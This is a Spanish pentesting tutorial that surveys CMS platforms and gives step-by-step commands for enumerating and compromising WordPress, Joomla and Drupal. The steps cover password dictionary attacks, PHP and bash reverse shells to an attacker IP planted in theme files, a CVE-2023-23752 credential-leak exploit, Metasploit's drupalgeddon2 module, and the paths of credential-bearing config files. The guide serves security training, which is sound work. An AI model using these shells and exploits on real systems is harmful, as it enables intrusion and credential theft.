Un Gestor de Contenido (o CMS, por sus siglas en inglés: Content Management System) es una aplicación de software que permite crear, administrar y modificar contenido digital en un sitio web sin necesidad de conocimientos técnicos avanzados de programación.
Interfaz intuitiva: Funcionan con paneles de control fáciles de usar (similar a un procesador de texto)
Separación contenido-diseño: El contenido (textos, imágenes) está separado del diseño visual
Gestión multiusuario: Permiten asignar diferentes roles y permisos (administrador, editor, autor)
Publicación sencilla: Crear y publicar contenido con unos pocos clics
Plantillas y temas: Ofrecen diseños prediseñados que puedes personalizar
WordPress: Blogs, sitios corporativos, portafolios, sitios web en general (el más usado mundialmente). → Sigue dominando con ~60-62% del mercado de CMS y ~43% de todos los sitios web.
Shopify: Tiendas online y e-commerce (el líder en comercio electrónico integrado). → Segundo lugar en popularidad (~6.8-7.2% de cuota en CMS), creciendo constantemente.
Wix: Sitios sencillos, arrastrar y soltar, páginas para pequeños negocios, portafolios y creativos. → Ha crecido mucho (~5.8-6.0% de cuota), muy popular entre usuarios sin conocimientos técnicos.
Squarespace: Sitios sencillos, arrastrar y soltar, con diseño muy cuidado (ideal para portafolios, creativos, pequeños negocios y marcas con estética premium). → ~3.4-3.5% de cuota, con crecimiento estable.
Joomla!: Sitios web complejos, con estructura multinivel, comunidades o portales medianos. → Ha perdido terreno (~1.8-2.0% de cuota), pero sigue siendo potente para proyectos con muchos usuarios y contenido organizado.
Drupal: Sitios avanzados, muy personalizados, grandes portales, sitios gubernamentales o empresariales con alta seguridad y escalabilidad. → ~1.0-1.2% de cuota, usado en proyectos muy específicos y robustos.
✅ Rápidos de implementar
✅ Actualización sencilla del contenido
✅ SEO amigable
✅ Gran comunidad y soporte
❌ Pueden ser más lentos que sitios programados a medida
❌ Limitaciones de personalización (dependiendo del CMS)
❌ Requieren actualizaciones y mantenimiento de seguridad
WordPress es el sistema de gestión de contenidos (CMS) más popular del mundo utilizado para crear y administrar sitios web, blogs o tiendas en línea de forma sencilla sin necesidad de saber programación. Es software libre, de código abierto y personalizable mediante miles de temas y plugins.
Para descargar la herramienta usaremos el siguiente comando dentro de nuestra terminal:
Script: <- Descargamos la herramienta.
gem install wpscan
Ahora tenemos que conseguir una API Token, para ello iremos al siguiente enlace: https://wpscan.com
La enumeración de WordPress es crucial para nuestras auditorias y para ello podemos utilizar los siguientes comandos para enumerar todo lo posible dentro del gestor.
Script: <- Ejecutamos la herramienta para enumerar los plugins vulnerables.
wpscan -t 50 --url http://example.com --enumerate u,vp,vt --plugins-detection aggressive --detection-mode aggressive --force --api-token $WPSCAN_API_TOKEN > Vuln_plugins.txt
O también:
Script: <- Ejecutamos la herramienta para enumerar todos los plugins.
wpscan -t 50 --url http://example.com --enumerate u,ap,vt --plugins-detection mixed --detection-mode mixed --force --api-token $WPSCAN_API_TOKEN > All_plugins.txt
Una vez obtenido información podemos hacer una vía de Explotación según los datos que la herramienta: “WPScan” nos haya dado, por ejemplo:
Entre otras muchas técnicas que podemos utilizar para auditar el gestor y llegando a comprometer el propio servidor.
Script: <- Realizamos un ataque de Diccionario.
wpscan -t 80 --url http://example.com --usernames <Usuario o diccionario> --passwords <Password o Diccionario>
Para ello es importante revisar con atención los plugins que obtuvimos mediante WPScan y revisar la documentación y los CVE del plugin vulnerable.
En este punto la Explotación anterior nos habrá dejado en 2 puntos clave:
Abran ocasiones que según la explotación del gestor obtendremos un acceso al gestor de WordPress o directamente llegando adentro del servidor, así que vamos a separar ambas opciones por secciones:
Si hemos obtenido credenciales y privilegios altos para modificar la web entonces acceder al servidor es sumamente fácil:
1: Es la entrada al servidor mas popular, consiste en irnos a: “Apariencia” y por ultimo a: “Theme Code Editor” (Según la versión puede cambiar el nombre)
2: Una vez dentro simplemente elegiremos el tema de WordPress que queramos y nos vamos a cualquier archivo en PHP que podamos modificar.
3: Ahora agregaremos una Reverse Shell en PHP y lo guardaremos.
Script: <- Ejemplo de Reverse Shell en PHP
<?php
$sock=fsockopen("<IP atacante>",<Puerto>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
4: Creamos un puerto de escucha con la herramienta de Red: nc y apuntamos al archivo en PHP dentro de la URL o con la herramienta: cURL para mandar una petición al archivo PHP del tema que hemos cambiado para que nos devuelva la Reverse Shell.
Script: <- Abrimos un puerto de escucha con nc
nc -nlvp <Puerto>
Script: <- Ejemplo de ruta para apuntar al archivo PHP:
http://example.com/wordpress/wp-content/themes/<Tema de la URL contemplada anteriormente>/<Archivo>.php
Si tenemos dentro del gestor un plugin vulnerable cabe destacar que dependiendo del plugin podemos utilizarlo para subir archivos maliciosos dentro de la web o sistema para llegar al servidor.
Si hemos logrado acceder al servidor realmente no podemos hacer mucho con WordPress mas allá de enumerar y acceder directamente a la base de datos:
Aquí dejamos 3 rutas interesantes donde poder enumerar las bases de datos:
Script: <- Ruta de configuración de WordPress (instalación estándar).
/var/www/<html o Dominio/Sub_Dominio donde este el WordPress>/wp-config.php
Script: <- Ruta de configuración de WordPress (paquete de distro).
/etc/wordpress/config-default.php
Script: <- Ruta de configuración de WordPress (paquete compartido).
/usr/share/wordpress/wp-config.php
Una vez tengamos credenciales en texto claro de la base de datos siempre podemos utilizarla para utilizar servicios diferentes o pivotar de usuario.
Joomla! es un galardonado sistema de gestión de contenidos (CMS) de código abierto y gratuito diseñado para crear y administrar sitios web dinámicos, potentes y complejos sin necesidad de tener conocimientos avanzados de programación. Basado en PHP y MySQL, destaca por su flexibilidad, escalabilidad y uso de plantillas para gestionar el diseño.
Para descargar la herramienta usaremos el siguiente comando dentro de nuestra terminal:
Script: <- Descargamos la herramienta.
git clone https://github.com/OWASP/joomscan.git && cd joomscan
La enumeración de Joomla lo haremos con la herramienta descargada anteriormente: “JoomScan” para ello haremos el siguiente comando:
Script: <- Ejecutamos la herramienta.
perl joomscan.pl -u http://example.com/joomla
Ahora tenemos varias vías de Explotación como por ejemplo:
Siempre podemos intentar realizar un ataque de Diccionario/Fuerza Bruta a los usuarios encontrados gracias a la herramienta usada anteriormente dentro del panel de login.
Según la versión del Joomla podemos obtener varias vulnerabilidades, para ello, dejamos unos ejemplos:
Script: <- Descargamos el siguiente repositorio.
curl -v "http://example.com/joomla/api/index.php/v1/config/application?public=true"
Este comando intenta acceder a un endpoint específico de la API REST de Joomla. En versiones vulnerables de Joomla específicamente las versiones 4.0.0 a 4.2.7, este endpoint no requiere autenticación debido a un fallo de control de acceso, identificado como: “CVE-2023-23752”
Al añadir ?public=true, se le indica a la API que debe devolver información que, en condiciones normales, sería privada, como si se tratara de una petición pública y autenticada. Si el sitio es vulnerable, la respuesta del servidor contendrá datos sensibles de la configuración de Joomla.
Si tenemos un Joomla con esta versión (Se puede saber gracias a la herramienta Joosmcan) entonces podemos usar el siguiente exploit y observar nombres de usuarios y credenciales validas, para ello haremos los siguientes comandos:
Script: <- Descargamos el siguiente repositorio.
git clone https://github.com/K3ysTr0K3R/CVE-2023-23752-EXPLOIT.git
Script: <- Entramos dentro del Repositorio del exploit.
cd CVE-2023-23752-EXPLOIT
Script: <- Usamos el exploit para acontecer la vulnerabilidad.
python3 CVE-2023-23752.py -u http://example.com/joomla
Y ya podríamos acceder a la cuenta del usuario encontrado gracias a que el exploit saca las credenciales correspondientes.
Una vez lleguemos a este punto posiblemente estemos dentro de la web del gestor y para acceder al servidor tenemos que cumplir con la siguiente metodologia
1: Es la entrada al servidor mas popular, consiste en irnos a: “Extensiones” y después a “Templates” y dentro de Templates nos iremos a “Templates” (Según la versión puede cambiar el nombre, también puede ser: “System” y después a “Templates” y dentro de Templates nos iremos a “Site Templates”)
2: Ahora simplemente nos iremos a cualquier template dentro de la sección: “'Templates”
3: Ahora dentro del template que elijamos iremos a la plantilla “error.php”
4: Una vez dentro del error.php pondremos el siguiente código y guardamos el archivo con el nuevo código:
Script: <- Ejemplo de Reverse Shell en PHP
system("bash -c 'bash -i >& /dev/tcp/<IP atacante>/<Puerto> 0>&1'");
5: Creamos un puerto de escucha con la herramienta de Red: nc y apuntamos al archivo en PHP dentro de la URL o con la herramienta: cURL para mandar una petición al archivo PHP del tema que hemos cambiado para que nos devuelva la Reverse Shell.
Script: <- Abrimos un puerto de escucha con nc
nc -nlvp <Puerto>
Script: <- Ejemplo de ruta para apuntar al archivo PHP:
http://example.com/joomla/index.php/<>
Si hemos logrado acceder al servidor realmente no podemos hacer mucho con Joomla mas allá de enumerar y acceder directamente a la base de datos:
Aquí dejamos una ruta interesante donde poder enumerar las bases de datos:
Script: <- Ruta de configuración de Joomla.
/var/www/<html o Dominio/Sub_Dominio donde este el Joomla>/configuration.php
Una vez tengamos credenciales en texto claro de la base de datos siempre podemos utilizarla para utilizar servicios diferentes o pivotar de usuario.
Drupal es un sistema de gestión de contenidos (CMS) de código abierto, flexible y altamente escalable diseñado para crear sitios web complejos, seguros y de alto rendimiento. Basado en PHP (generalmente sobre entorno LAMP), destaca por su arquitectura modular que permite gestionar grandes volúmenes de contenido, ideal para empresas, universidades y gobiernos.
Para descargar la herramienta usaremos el siguiente comando dentro de nuestra terminal:
Script: <- Descargamos la herramienta.
git clone https://github.com/SamJoan/droopescan.git && cd droopescan && python3 setup.py install && pip3 install -r requirements.txt && pip install zombie-imp
La enumeración de Drupal lo haremos con la herramienta descargada anteriormente: “Droopescan” para ello haremos el siguiente comando:
Script: <- Ejecutamos la herramienta.
./droopescan scan drupal -u http://example.com
Ahora tenemos varias vías de Explotación como por ejemplo:
Siempre podemos intentar realizar un ataque de Diccionario/Fuerza Bruta a los usuarios encontrados gracias a la herramienta usada anteriormente dentro del panel de login.
Según la versión del Drupal podemos obtener varias vulnerabilidades, para ello, dejamos unos ejemplos:
Aunque no sepamos las credenciales validas del CMS Drupal, podríamos meternos dentro de la maquina victima mediante meterpreter gracias a este modulo de Metasploit:
Script <- Iniciamos Metasploit.
msfdb run
Script <- Usamos el siguiente modulo.
use unix/webapp/drupal_drupalgeddon2
Solo tenemos que configurar los siguientes parámetros:
Script: <- Configuramos la IP victima.
set RHOST <IP victima>
Script: <- Explotamos el CMS.
exploit
Una vez lleguemos a este punto posiblemente estemos dentro del servidor y para enumerarlo podríamos hacer lo siguiente:
Si hemos logrado acceder al servidor realmente no podemos hacer mucho con Drupal mas allá de enumerar y acceder directamente a la base de datos:
Aquí dejamos una ruta interesante donde poder enumerar las bases de datos:
Script: <- Ruta de configuración de Drupal.
/var/www/<html o Dominio/Sub_Dominio donde este el Drupal>/sites/default/settings.php
Una vez tengamos credenciales en texto claro de la base de datos siempre podemos utilizarla para utilizar servicios diferentes o pivotar de usuario.
Siempre valida legalmente tu autorización antes de realizar estas pruebas.
Usa diccionarios personalizados si sabes datos del entorno.
Nunca ejecutes exploits en producción sin un entorno controlado.
Documenta todo: IPs, usuarios válidos, resultados de escaneos.
Practica diariamente tus habilidades de Pentesting con maquinas CTF.
Utiliza los diferentes navegadores para investigar nuevos servicios.